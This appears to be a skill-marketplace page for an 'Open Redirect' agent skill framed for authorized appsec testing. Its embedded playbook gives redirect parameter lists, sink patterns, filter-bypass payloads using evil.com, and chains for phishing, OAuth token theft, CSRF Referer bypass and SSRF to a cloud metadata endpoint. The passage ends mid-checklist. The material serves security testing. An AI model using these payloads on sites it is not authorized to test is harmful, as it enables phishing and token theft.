Open Redirect
Hunt and exploit open redirects in query params, server Location headers, and JavaScript navigation sinks for authorized appsec reviews.
Overview
Open Redirect is an agent skill most often used in Ship (also Validate scope, Launch distribution) that systematizes finding and abusing unvalidated redirect targets for authorized testing.
Install
npx skills add https://github.com/yaklang/hack-skills --skill open-redirectWhat is this skill?
- Parameter discovery list spanning url, redirect, next, returnUrl, callback, and similar sinks
- Server-side sinks: 301/302 Location, PHP header(), Python redirect(), Java/JavaScript res.redirect patterns
- Client-side sinks: window.location and related JavaScript navigation assignments
- Chaining guidance for phishing, CSRF Referer bypass, OAuth token theft, and SSRF building blocks
- Filter-bypass mindset for underrated but chain-critical redirect flaws
- 20+ common redirect parameter name examples in discovery section
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 2/3 security scanners passed (skills.sh audits).
What problem does it solve?
Your app accepts redirect URLs from parameters or forms and you are unsure which sinks and bypasses turn trusted links into phishing or OAuth theft chains.
Who is it for?
Solo builders auditing SaaS login, billing return URLs, and marketing CTAs before launch or after adding OAuth.
Skip if: Production redirect features without a threat model, or teams seeking only automated scanner output with no manual sink review.
When should I use this skill?
Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.
What do I get? / Deliverables
You produce a prioritized map of redirect parameters, sink types, and chain scenarios to patch or allowlist before users trust your domain in email and OAuth flows.
- Redirect parameter and sink inventory
- Documented chain scenarios (phishing, OAuth, CSRF referer, SSRF prep)
Recommended Skills
Journey fit
Spans multiple journey phases - primary shelf plus alternate fits below.
Primary shelf is Ship → security for pre-release testing, with reuse when validating auth and growth flows that expose redirect parameters. Security subphase captures offensive validation; redirect bugs also surface in login and OAuth surfaces tested in the same pass.
Where it fits
Enumerate redirect parameters on a prototype OAuth callback before locking allowed redirect URIs.
Test server Location and res.redirect sinks on staging login and checkout return URLs.
Review campaign tracking links that forward users via next or url parameters on the production domain.
How it compares
Focused open-redirect attack playbook—not a general SEO redirect manager or infrastructure CDN routing skill.
Common Questions / FAQ
Who is open-redirect for?
Indie developers and agent-assisted pentesters reviewing web apps where URL parameters, forms, or JavaScript control post-login or post-action navigation.
When should I use open-redirect?
In Ship security passes on auth and checkout flows, during Validate when prototyping OAuth callbacks, and at Launch when distribution links use redirect parameters—always on permitted targets.
Is open-redirect safe to install?
Content describes exploitable techniques; check the Security Audits panel on this Prism page and use only on applications you own or are engaged to test.
SKILL.md
READMESKILL.md - Open Redirect
# SKILL: Open Redirect — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Open redirect techniques. Covers parameter-based redirects, JavaScript sinks, filter bypass, and chaining with phishing, CSRF Referer bypass, OAuth token theft, and SSRF. Often underrated but critical for phishing and as a building block in multi-step exploit chains. ## 1. CORE CONCEPT Open redirect occurs when an application redirects users to a URL derived from user input without validation. The trusted domain acts as a "launchpad" for phishing or token theft. ``` https://trusted.com/redirect?url=https://evil.com → User sees trusted.com in the link → clicks → lands on evil.com ``` --- ## 2. FINDING REDIRECT PARAMETERS ### Common Parameter Names ```text ?url= ?redirect= ?next= ?dest= ?destination= ?redir= ?return= ?returnUrl= ?go= ?forward= ?target= ?out= ?continue= ?link= ?view= ?to= ?ref= ?callback= ?path= ?rurl= ``` ### Server-Side Sinks ``` HTTP 301/302 Location header PHP: header("Location: $input") Python: redirect(input) Java: response.sendRedirect(input) Node: res.redirect(input) ``` ### Client-Side (JavaScript) Sinks ```javascript window.location = input window.location.href = input window.location.replace(input) window.open(input) document.location = input ``` --- ## 3. FILTER BYPASS TECHNIQUES | Validation | Bypass | |---|---| | Checks if URL starts with `/` | `//evil.com` (protocol-relative) | | Checks domain contains `trusted.com` | `evil.com?trusted.com` or `trusted.com.evil.com` | | Blocks `http://` | `//evil.com`, `https://evil.com`, `\/\/evil.com` | | Checks URL starts with `https://trusted.com` | `https://trusted.com@evil.com` (userinfo) | | Regex `^/[^/]` (relative only) | `/\evil.com` (backslash treated as path in some browsers) | | Django `endswith('target.com')` | `http://evil.com/www.target.com` — URL path ends with target domain | | Whitelist by domain suffix | Subdomain takeover on `*.trusted.com` | ```text # Protocol-relative: //evil.com # Userinfo bypass: https://trusted.com@evil.com # Backslash trick: /\evil.com /\/evil.com # URL encoding: https://trusted.com/%2F%2Fevil.com # Django endswith bypass: http://evil.com/www.target.com http://evil.com?target.com # Trusted site double-redirect (e.g., via Baidu link service): https://link.target.com/?url=http://evil.com # Special character confusion: http://evil.com#@trusted.com # fragment as authority http://evil.com?trusted.com # query string confusion http://trusted.com%00@evil.com # null byte truncation # Tab/newline in URL (browser ignores whitespace): java%09script:alert(1) ``` --- ## 4. EXPLOITATION CHAINS ### Phishing Amplification Attacker sends: `https://bigbank.com/redirect?url=https://bigbank-login.evil.com` Victim sees `bigbank.com` → clicks → enters credentials on clone site. ### OAuth Token Theft If OAuth `redirect_uri` allows open redirect on the authorized domain: ``` /authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com → Authorization code or token appended to evil.com URL → Attacker captures token from URL fragment or query ``` ### CSRF Referer Bypass Some CSRF protections check `Referer` header contains trusted domain: ``` 1. Attacker page links to: https://trusted.com/redirect?url=https://trusted.com/change-email 2. Redirect preserves Referer from trusted.com 3. CSRF protection passes because Referer = trusted.com ``` ### SSRF via Redirect When server follows redirects: ``` ?url=https://attacker.com/redirect-to-internal # attacker.com returns 302 → http://169.254.169.254/ # Server follows redirect → SSRF to metadata endpoint ``` --- ## 5. TESTING CHECKLIST ``` □ I